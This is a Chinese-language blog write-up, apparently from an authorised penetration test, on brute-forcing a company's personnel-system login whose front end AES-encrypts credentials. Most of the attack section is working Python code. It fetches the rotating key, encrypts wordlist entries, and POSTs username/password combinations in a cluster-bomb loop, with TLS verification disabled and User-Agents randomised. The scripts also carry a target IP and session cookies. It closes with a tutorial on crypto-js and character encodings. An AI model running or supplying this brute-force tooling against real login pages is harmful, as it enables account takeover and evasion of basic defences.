針對某集團公司前端加密,python實作暴力破解
前言:
HW前期,某集團公司為加強安全建設,進行安全測試項目,滲透過程中發現很多問題,這裡不一一記錄。此文僅為記錄針對某處前端AES加密,使用python進行算法實作,最後達到暴力破解的目的
0x01.分析
這是某人員檔案系統的登入背景

我們檢視它的網頁源代碼,發現采用AES前端加密方法(估計是疫情期間臨時緊急搭建的平台)
0x02.設計思路
到/a/k檔案中擷取目前時間的加密字元串,作為key值(key每經過30s左右的時間就會更新一次),進入Encrypt函數進行加密
function Encrypt (text,key) {
let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
iv: CryptoJS.enc.Utf8.parse(key), #密碼:key;偏移量iv:key;字元集:utf8
mode: CryptoJS.mode.CBC, #AES加密模式:CBC
padding: CryptoJS.pad.Pkcs7 #填充:pkcs7padding
})
0x03.實作
第一步 請求key值:
import ssl
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
text = data.read().decode(\'utf8\')
print(text)
第二步 加密過程實作:
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')
def main():
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
key = data.read().decode(\'utf8\')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(\'admin\')
print(cipher_text)
if __name__ == \'__main__\':
main()
第三步 字典自動化加密過程實作
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')
def encrypted(password):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
key = data.read().decode(\'utf8\')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(password)
print(cipher_text)
if __name__ == \'__main__\':
wordList = open(\'word.txt\',\'r\')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第四步 構造資料包,發送網絡請求
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')
def encrypted(a):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
key = data.read().decode(\'utf8\')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(a)
brute(cipher_text)
# 暴力破解
def brute(value):
proxy = {
"https": "https://127.0.0.1:8080",
}
headers = {\'Host\': \'xx.xx\',
\'User-Agent\': \'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\',
\'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\',
\'Accept-Language\': \'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\',
\'Content-Type\':\'application/x-www-form-urlencoded\',
\'Connection\': \'close\',
\'Content-Length\': \'75\',
\'Cookie\': \'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798\',
\'Upgrade-Insecure-Requests\':\'1\'}
values = \'username=%s\' % value + \'&password=%s\' % value
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post(\'https://xx.xx/welcome.html\', headers=headers, data=values, proxies=proxy,verify=False)
if __name__ == \'__main__\':
wordList = open(\'word.txt\',\'r\')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第五步:雙字典cluster bomb模式爆破
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')
def encrypted(a,b):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
key = data.read().decode(\'utf8\')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text1 = cbc_cipher.encrypt(a)
cipher_text2 = cbc_cipher.encrypt(b)
brute(cipher_text1,cipher_text2)
# 暴力破解
def brute(value1,value2):
ua_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
proxy = {
"https": "https://127.0.0.1:8080",
}
ua = random.choice(ua_list)
headers = {\'Host\': \'211.156.195.166\',
\'User-Agent\': ua,
\'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\',
\'Accept-Language\': \'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\',
\'Content-Type\':\'application/x-www-form-urlencoded\',
\'Connection\': \'close\',
\'Content-Length\': \'75\',
\'Cookie\': \'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798\',
\'Upgrade-Insecure-Requests\':\'1\'}
data = \'username=%s\' % value1 + \'&password=%s\' % value2
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post(\'https://xx.xx/welcome.html\', headers=headers, data=data, proxies=proxy,verify=False)
if __name__ == \'__main__\':
with open(\'user.txt\',\'r\') as userList:
with open(\'word.txt\',\'r\') as passList:
for username in userList.readlines():
for password in passList.readlines():
user = username.strip()
word = password.strip()
encrypted(username,word)
passList.seek(0)
# 記住這裡要将檔案重新移到檔案首,不然就會出現隻執行外層循環的第一條,因為内層在疊代之後(readlines()是疊代器的形式,疊代一次後檔案指針就指到檔案尾了,疊代器也是end了,第二次就沒有password 在 passList中
# 也就是說 for password in passList.readlines():為空,是以這裡的内層循環就不會再被執行了,是以也就是疊代器清零的問題(C ++ itertor 常有)
成果截圖:
第六步 線程
:)加不加線程,取決于網站防護,當然,也屬個人愛好,由于手裡還有其他項目,這裡就不贅述了。
另:Github上有針對前端加密的自動化暴力破解的burp插件jsEncrypter ,感興趣的可以去了解下,個人屬實沒玩明白,不做評價。
http://gv7.me/articles/2017/jsEncrypter/?nsukey=4euQnxPbr7mYBEh4c0PjPiuxTlc2Hk59s01x3%2B0ROVFEQ5f7yyx1Z4TijFr1Gkn0ALDGejuNlDjSshCIDmTYB1g1k%2Bt9OREnXhwGQtRCSF6qWLtYx%2BB6tp%2B2QbV%2BkB8Hw5OBey6Mu4PfzaF%2BEdX8RgK%2BN%2B6e23MyN8N%2B5xp1UY8TisnBP2k%2FeB3ixhd7M50a7oyi%2FD41CDp3HHKQ%2Bk4tVQ%3D%3D
0x04.知識介紹
crypto-js AES加密知識
crypto-js 是一個純
javascript
寫的加密算法類庫 ,可以非常友善地在
javascript
進行
MD5
、
SHA1
、
SHA2
、
SHA3
、
RIPEMD-160
哈希散列,進行
AES
、
DES
、
Rabbit
、
RC4
、
Triple DES
加解密,我們可以采用
npm install crypto-js --save
進行下載下傳安裝,也可以直接去 GitHub下載下傳源碼~
進階加密标準(AES,Advanced Encryption Standard)為最常見的對稱加密算法(微信小程式加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加密流程如下圖:
值得注意的是密鑰的長度,由于對稱解密使用的算法是
AES-128-CBC
算法,資料采用
PKCS#7
填充 , 是以這裡的
key
需要為16位!
AES加密算法詳情請參考:https://blog.csdn.net/qq_28205153/article/details/55798628
字元集、字元編碼知識
字元:在計算機和電信技術中,一個字元是一個機關的字形、類字形機關或符号的基本資訊。即一個字元可以是一個中文漢字、一個英文字母、一個阿拉伯數字、一個标點符号等。
字元集:多個字元的集合。例如GB2312是中國國家标準的簡體中文字元集,GB2312收錄簡化漢字(6763個)及一般符号、序号、數字、拉丁字母、日文假名、希臘字母、俄文字母、漢語拼音符号、漢語注音字母,共 7445 個圖形字元。
字元編碼:把字元集中的字元編碼為(映射)指定集合中的某一對象(例如:比特模式、自然數序列、電脈沖),以便文本在計算機中存儲和通過通信網絡的傳遞。
字元集和字元編碼的關系 :
字元集是書寫系統字母與符号的集合,而字元編碼則是将字元映射為一特定的位元組或位元組序列,是一種規則。通常特定的字元集采用特定的編碼方式(即一種字元集對應一種字元編碼(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字元集又表示了對應的字元編碼,但Unicode不是,它采用現代的模型)),是以基本上可以将兩者視為同義詞。
字元編碼的常用種類介紹
第一種:ASCII碼
ASCII(American Standard Code for Information Interchange,美國資訊交換标準代碼)是基于拉丁字母的一套電腦編碼系統,主要用于顯示現代英語和其他西歐語言。它是現今最通用的單位元組編碼系統,并等同于國際标準ISO/IEC 646。如下圖所示:
第二種:GBK 和 GB2312
對于我們來說能在計算機中顯示中文字元是至關重要的,然而ASCII表裡連一個偏旁部首也沒有。是以我們還需要一張關于中文和數字對應的關系表。一個位元組隻能最多表示256個字元,要進行中文顯然一個位元組是不夠的,是以我們需要采用兩個位元組來表示,而且還不能和ASCII編碼沖突,是以,中國制定了GB2312編碼,用來把中文編進去。
第三種:Unicode
但這樣的話,就會出現一個問題,各個國家都一套自己的編碼,就不可避免會有沖突,這是該怎麼辦呢?
是以,Unicode應運而生。Unicode把所有語言都統一到一套編碼裡,這樣就不會再有亂碼問題了。
Unicode标準也在不斷發展,但最常用的是用兩個位元組表示一個字元(如果要用到非常偏僻的字元,就需要4個位元組)。現代作業系統和大多數程式設計語言都直接支援Unicode。
現在,分析一下ASCII編碼和Unicode編碼的差別:
- ASCII編碼是1個位元組,而Unicode編碼通常是2個位元組。
- 字母A用ASCII編碼是十進制的65,二進制的01000001;
- 字元0用ASCII編碼是十進制的48,二進制的00110000;
- 漢字“中”已經超出了ASCII編碼的範圍,用Unicode編碼是十進制的20013,二進制的01001110 00101101。
- 如果把ASCII編碼的A用Unicode編碼,隻需要在前面補0就可以,是以,A的Unicode編碼是00000000 01000001。
- 但如果統一成Unicode編碼,亂碼問題從此消失了。但是,如果你寫的文本基本上全部是英文的話,用Unicode編碼比ASCII編碼需要多一倍的存儲空間,在存儲和傳輸上就十分不劃算。
第四種:UTF-8
基于節約的原則,出現了把Unicode編碼轉化為“可變長編碼”的UTF-8編碼。UTF-8編碼把一個Unicode字元根據不同的數字大小編碼成1-6個位元組,常用的英文字母被編碼成1個位元組,漢字通常是3個位元組,隻有很生僻的字元才會被編碼成4-6個位元組。如果你要傳輸的文本包含大量英文字元,用UTF-8編碼就能節省空間了。如下所示:
從上面的表格還可以發現,UTF-8編碼有一個額外的好處,就是ASCII編碼實際上可以被看成是UTF-8編碼的一部分,是以,大量隻支援ASCII編碼的曆史遺留軟體可以在UTF-8編碼下繼續工作。
我們總結一下現在計算機系統通用的字元編碼工作方式:
在計算機記憶體中,統一使用Unicode編碼,當需要儲存到硬碟或者需要傳輸的時候,就轉換為UTF-8編碼。
用記事本編輯的時候,從檔案讀取的UTF-8字元被轉換為Unicode字元到記憶體裡,編輯完成後,儲存的時候再把Unicode轉換為UTF-8儲存到檔案。如下圖:
0x05.說明
文章是寫代碼之餘做筆記來的,略顯簡略粗糙。代碼不夠精簡之處,請各位python巨佬多多指教,評論區多多留言,拜謝!
Reference
https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html